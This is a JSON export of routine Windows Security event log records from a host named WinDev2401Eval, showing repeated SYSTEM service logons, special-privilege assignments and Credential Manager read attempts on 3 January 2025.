{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.056480Z"}},"EventRecordID":21248,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.056483Z"}},"EventRecordID":21249,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.058547Z"}},"EventRecordID":21250,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.058550Z"}},"EventRecordID":21251,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.059148Z"}},"EventRecordID":21252,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.059151Z"}},"EventRecordID":21253,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.061045Z"}},"EventRecordID":21254,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.061052Z"}},"EventRecordID":21255,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.207085Z"}},"EventRecordID":21256,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.207089Z"}},"EventRecordID":21257,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.725870Z"}},"EventRecordID":21258,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.725875Z"}},"EventRecordID":21259,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.759924Z"}},"EventRecordID":21260,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.759960Z"}},"EventRecordID":21261,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.760231Z"}},"EventRecordID":21262,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:36.003827Z"}},"EventRecordID":21263,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:36.004135Z"}},"EventRecordID":21264,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:36.005159Z"}},"EventRecordID":21265,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:36.005189Z"}},"EventRecordID":21266,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:37.359807Z"}},"EventRecordID":21267,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:37.359812Z"}},"EventRecordID":21268,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:44.914836Z"}},"EventRecordID":21269,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
